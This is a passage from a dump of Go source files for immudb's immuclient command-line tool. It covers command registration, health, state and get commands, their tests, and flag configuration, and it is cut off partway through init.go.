  },
  {
    "path": "cmd/immuclient/command/cmd_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNew(t *testing.T) {\n\tcmd := NewCommand()\n\trequire.Len(t, cmd.Commands(), 32)\n\tcmd.SetArgs([]string{\"--help\"})\n\n\terr := Execute(cmd)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/commandline.go",
    "content": "package immuclient\n\nimport (\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immuclient/immuc\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/cobra\"\n)\n\ntype commandline struct {\n\timmucl  immuc.Client\n\tconfig  c.Config\n\tonError func(msg interface{})\n\toptions *immuc.Options\n}\n\nfunc NewCommandLine() commandline {\n\tcl := commandline{}\n\tcl.config.Name = \"immuclient\"\n\tcl.options = &immuc.Options{}\n\tcl.options.WithImmudbClientOptions(client.DefaultOptions())\n\treturn cl\n}\n\nfunc (cl *commandline) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) {\n\treturn func(cmd *cobra.Command, args []string) (err error) {\n\t\tif err = cl.config.LoadConfig(cmd); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tcl.options = immuc.OptionsFromEnv()\n\t\tcl.options.GetImmudbClientOptions().WithTokenFileName(\"token\")\n\t\tcl.immucl, err = immuc.Init(cl.options)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif post != nil {\n\t\t\treturn post(cmd, args)\n\t\t}\n\t\treturn nil\n\t}\n}\n\n// Register ...\nfunc (cl *commandline) Register(rootCmd *cobra.Command) *cobra.Command {\n\t// login and logout\n\tcl.login(rootCmd)\n\tcl.logout(rootCmd)\n\t// current status\n\tcl.health(rootCmd)\n\tcl.currentState(rootCmd)\n\t// get operations\n\tcl.getTxByID(rootCmd)\n\tcl.safegetTxByID(rootCmd)\n\tcl.getKey(rootCmd)\n\tcl.safeGetKey(rootCmd)\n\t// set operations\n\tcl.set(rootCmd)\n\tcl.safeset(rootCmd)\n\tcl.restore(rootCmd)\n\tcl.deleteKey(rootCmd)\n\tcl.zAdd(rootCmd)\n\tcl.safeZAdd(rootCmd)\n\t// scanners\n\tcl.zScan(rootCmd)\n\tcl.scan(rootCmd)\n\tcl.count(rootCmd)\n\t// references\n\tcl.reference(rootCmd)\n\tcl.safereference(rootCmd)\n\t// misc\n\tcl.serverInfo(rootCmd)\n\tcl.consistency(rootCmd)\n\tcl.history(rootCmd)\n\tcl.status(rootCmd)\n\tcl.auditmode(rootCmd)\n\tcl.interactiveCli(rootCmd)\n\tcl.use(rootCmd)\n\n\tcl.sqlExec(rootCmd)\n\tcl.sqlQuery(rootCmd)\n\tcl.listTables(rootCmd)\n\tcl.describeTable(rootCmd)\n\n\treturn rootCmd\n}\n\nfunc (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) {\n\terr = cl.immucl.Connect(args)\n\tif err != nil {\n\t\tcl.quit(err)\n\t}\n\treturn\n}\n\nfunc (cl *commandline) disconnect(cmd *cobra.Command, args []string) {\n\tif err := cl.immucl.Disconnect(args); err != nil {\n\t\tcl.quit(err)\n\t}\n}\n\nfunc (cl *commandline) quit(msg interface{}) {\n\tmsg = helper.UnwrapMessage(msg)\n\n\tif cl.onError == nil {\n\t\tc.QuitToStdErr(msg)\n\t}\n\tcl.onError(msg)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/commandline_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/stretchr/testify/assert\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc TestCommandline_Register(t *testing.T) {\n\tc := commandline{}\n\tcmd := c.Register(&cobra.Command{})\n\tassert.IsType(t, &cobra.Command{}, cmd)\n}\n\nfunc TestNewCommandLine(t *testing.T) {\n\tcml := NewCommandLine()\n\tassert.IsType(t, commandline{}, cml)\n}\n\nfunc TestCommandline_ConfigChain(t *testing.T) {\n\tcmd := &cobra.Command{}\n\tc := commandline{\n\t\tconfig: helper.Config{Name: \"test\"},\n\t}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\tcmd.Flags().StringVar(&c.config.CfgFn, \"config\", \"\", \"config file\")\n\tcc := c.ConfigChain(f)\n\terr := cc(cmd, []string{})\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandline_ConfigChainErr(t *testing.T) {\n\tcmd := &cobra.Command{}\n\n\tc := commandline{}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\n\tcc := c.ConfigChain(f)\n\n\terr := cc(cmd, []string{})\n\tassert.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/currentstatus.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) health(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"health\",\n\t\tShort:             \"Return the number of pending requests and the time the last request was completed\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.DatabaseHealth(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) currentState(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"current\",\n\t\tShort:             \"Return the last last tx ID and hash stored locally\",\n\t\tAliases:           []string{\"crt\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.CurrentState(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/currentstatus_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc setupTest(t *testing.T) *test.ClientTest {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tts := tokenservice.NewInmemoryTokenService()\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\n\n\tic.Connect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\treturn ic\n}\n\nfunc TestCurrentState(t *testing.T) {\n\tic := setupTest(t)\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.currentState(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"current\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trsp := string(msg)\n\n\trequire.True(t, strings.Contains(rsp, \"is empty\") || strings.Contains(rsp, \"txID:\"))\n}\n"
  },
  {
    "path": "cmd/immuclient/command/getcommands.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) getTxByID(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"tx\",\n\t\tShort:             \"Return a tx by id\",\n\t\tAliases:           []string{\"tx\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.GetTxByID(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) safegetTxByID(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"safetx\",\n\t\tShort:             \"Return a tx by ID\",\n\t\tAliases:           []string{\"stx\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.VerifiedGetTxByID(args) //TODO: use verified\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) getKey(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"get key[@revision]\",\n\t\tShort:             \"Get item having the specified key\",\n\t\tAliases:           []string{\"g\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Get(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) safeGetKey(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"safeget key\",\n\t\tShort:             \"Get and verify item having the specified key\",\n\t\tAliases:           []string{\"sg\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.VerifiedGet(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/getcommands_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\n/*\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestGetByIndex(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.getByIndex(cmd)\n\tcmdl.safeset(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[1]\n\tinnercmd.PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tcmd.Commands()[1].PersistentPostRun = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"getByIndex\", \"0\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestGetRawBySafeIndex(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.getRawBySafeIndex(cmd)\n\tcmdl.safeset(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tcmd.Commands()[0].PersistentPreRunE = nil\n\tcmd.Commands()[1].PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tcmd.Commands()[1].PersistentPostRun = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"getRawBySafeIndex\", \"0\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestGetKey(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.getKey(cmd)\n\tcmdl.safeset(cmd)\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tcmd.Commands()[0].PersistentPreRunE = nil\n\tcmd.Commands()[1].PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tcmd.Commands()[1].PersistentPostRun = nil\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"get\", \"key\"})\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestSafeGetKey(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.safeGetKey(cmd)\n\tcmdl.safeset(cmd)\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tcmd.Commands()[0].PersistentPreRunE = nil\n\tcmd.Commands()[1].PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tcmd.Commands()[1].PersistentPostRun = nil\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"safeget\", \"key\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestRawSafeGetKey(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.rawSafeGetKey(cmd)\n\tcmdl.safeset(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tcmd.Commands()[0].PersistentPreRunE = nil\n\tcmd.Commands()[1].PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tcmd.Commands()[1].PersistentPostRun = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"rawsafeget\", \"key\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/command/init.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n)\n\nfunc (cl *commandline) configureFlags(cmd *cobra.Command) error {\n\tcmd.PersistentFlags().IntP(\"immudb-port\", \"p\", client.DefaultOptions().Port, \"immudb port number\")\n\tcmd.PersistentFlags().StringP(\"immudb-address\", \"a\", client.DefaultOptions().Address, \"immudb host address\")\n\tcmd.PersistentFlags().StringVar(&cl.config.CfgFn, \"config\", \"\", \"config file (default path are configs or $HOME. Default filename is immuclient.toml)\")\n\tcmd.PersistentFlags().String(\"username\", \"\", \"immudb username used to login\")\n\tcmd.PersistentFlags().String(\"password\", \"\", \"immudb password used to login; can be plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)\")\n\tcmd.PersistentFlags().String(\"database\", \"\", \"immudb database to be used\")\n\tcmd.PersistentFlags().String(\n\t\t\"tokenfile\",\n\t\tclient.DefaultOptions().TokenFileName,\n\t\tfmt.Sprintf(\n\t\t\t\"authentication token file (default path is $HOME or binary location; default filename is %s)\",\n\t\t\tclient.DefaultOptions().TokenFileName))\n\tcmd.PersistentFlags().BoolP(\"mtls\", \"m\", client.DefaultOptions().MTLs, \"enable mutual tls\")\n\tcmd.PersistentFlags().Int(\"max-recv-msg-size\", client.DefaultOptions().MaxRecvMsgSize, \"max message size in bytes the client can receive\")\n\tcmd.PersistentFlags().String(\"servername\", client.DefaultMTLsOptions().Servername, \"used to verify the hostname on the returned certificates\")\n\tcmd.PersistentFlags().String(\"certificate\", client.DefaultMTLsOptions().Certificate, \"server certificate file path\")\n\tcmd.PersistentFlags().String(\"pkey\", client.DefaultMTLsOptions().Pkey, \"server private key path\")\n\tcmd.PersistentFlags().String(\"clientcas\", client.DefaultMTLsOptions().ClientCAs, \"clients certificates list. Aka certificate authority\")\n\tcmd.PersistentFlags().Bool(\"value-only\", false, \"returning only values for get operations\")\n\tcmd.PersistentFlags().String(\"revision-separator\", \"@\", \"Separator between the key name and a revision number when doing a get operation, use empty string to disable\")\n\tcmd.PersistentFlags().String(\"roots-filepath\", \"/tmp/\", \"Filepath for storing root hashes after every successful audit loop. Default is tempdir of every OS.\")\n\tcmd.PersistentFlags().String(\"dir\", os.TempDir(), \"Main directory for audit process tool to initialize\")\n\tcmd.PersistentFlags().String(\"audit-username\", \"\", \"immudb username used to login during audit\")\n\tcmd.PersistentFlags().String(\"audit-password\", \"\", \"immudb password used to login during audit; can be plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)\")\n\tcmd.PersistentFlags().String(\"audit-databases\", \"\", \"Optional comma-separated list of databases (names) to be audited. Can be full name(s) or just name prefix(es).\")\n\tcmd.PersistentFlags().String(\"audit-notification-url\", \"\", \"If set, auditor will send a POST request at this URL with audit result details.\")\n\tcmd.PersistentFlags().String(\"audit-notification-username\", \"\", \"Username used to authenticate when publishing audit result to 'audit-notification-url'.\")\n\tcmd.PersistentFlags().String(\"audit-notification-password\", \"\", \"Password used to authenticate when publishing audit result to 'audit-notification-url'.\")\n\tcmd.PersistentFlags().String(\"audit-monitoring-host\", \"0.0.0.0\", \"Host for the monitoring HTTP server when running in audit mode (serves endpoints like metrics, health and version).\")\n\tcmd.PersistentFlags().Int(\"audit-monitoring-port\", 9477, \"Port for the monitoring HTTP server when running in audit mode (serves endpoints like metrics, health and version).\")\n\tcmd.PersistentFlags().String(\"server-signing-pub-key\", \"\", \"Path to the public key to verify signatures when presents\")\n\n\tviper.BindPFlag(\"immudb-port\", cmd.PersistentFlags().Lookup(\"immudb-port\"))\n\tviper.BindPFlag(\"immudb-address\", cmd.PersistentFlags().Lookup(\"immudb-address\"))\n\tviper.BindPFlag(\"username\", cmd.PersistentFlags().Lookup(\"username\"))\n\tviper.BindPFlag(\"password\", cmd.PersistentFlags().Lookup(\"password\"))\n\tviper.BindPFlag(\"database\", cmd.PersistentFlags().Lookup(\"database\"))\n\tviper.BindPFlag(\"tokenfile\", cmd.PersistentFlags().Lookup(\"tokenfile\"))\n\tviper.BindPFlag(\"mtls\", cmd.PersistentFlags().Lookup(\"mtls\"))\n\tviper.BindPFlag(\"max-recv-msg-size\", cmd.PersistentFlags().Lookup(\"max-recv-msg-size\"))\n\tviper.BindPFlag(\"servername\", cmd.PersistentFlags().Lookup(\"servername\"))\n\tviper.BindPFlag(\"certificate\", cmd.PersistentFlags().Lookup(\"certificate\"))\n\tviper.BindPFlag(\"pkey\", cmd.PersistentFlags().Lookup(\"pkey\"))\n\tviper.BindPFlag(\"clientcas\", cmd.PersistentFlags().Lookup(\"clientcas\"))\n\tviper.BindPFlag(\"value-only\", cmd.PersistentFlags().Lookup(\"value-only\"))\n\tviper.BindPFlag(\"revision-separator\", cmd.PersistentFlags().Lookup(\"revision-separator\"))\n\tviper.BindPFlag(\"roots-filepath\", cmd.PersistentFlags().Lookup(\"roots-filepath\"))\n\tviper.BindPFlag(\"dir\", cmd.PersistentFlags().Lookup(\"dir\"))\n\tviper.BindPFlag(\"audit-username\", cmd.PersistentFlags().Lookup(\"audit-username\"))\n\tviper.BindPFlag(\"audit-password\", cmd.PersistentFlags().Lookup(\"audit-password\"))\n\tviper.BindPFlag(\"audit-databases\", cmd.PersistentFlags().Lookup(\"audit-databases\"))\n\tviper.BindPFlag(\"audit-notification-url\", cmd.PersistentFlags().Lookup(\"audit-notification-url\"))\n\tviper.BindPFlag(\"audit-notification-username\", cmd.PersistentFlags().Lookup(\"audit-notification-username\"))\n\tviper.BindPFlag(\"audit-notification-password\", cmd.PersistentFlags().Lookup(\"audit-notification-password\"))\n\tviper.BindPFlag(\"audit-monitoring-host\", cmd.PersistentFlags().Lookup(\"audit-monitoring-host\"))\n\tviper.BindPFlag(\"audit-monitoring-port\", cmd.PersistentFlags().Lookup(\"audit-monitoring-port\"))\n\tviper.BindPFlag(\"server-signing-pub-key\", cmd.PersistentFlags().Lookup(\"server-signing-pub-key\"))\n\n\tviper.SetDefault(\"immudb-port\", client.DefaultOptions().Port)\n\tviper.SetDefault(\"immudb-address\", 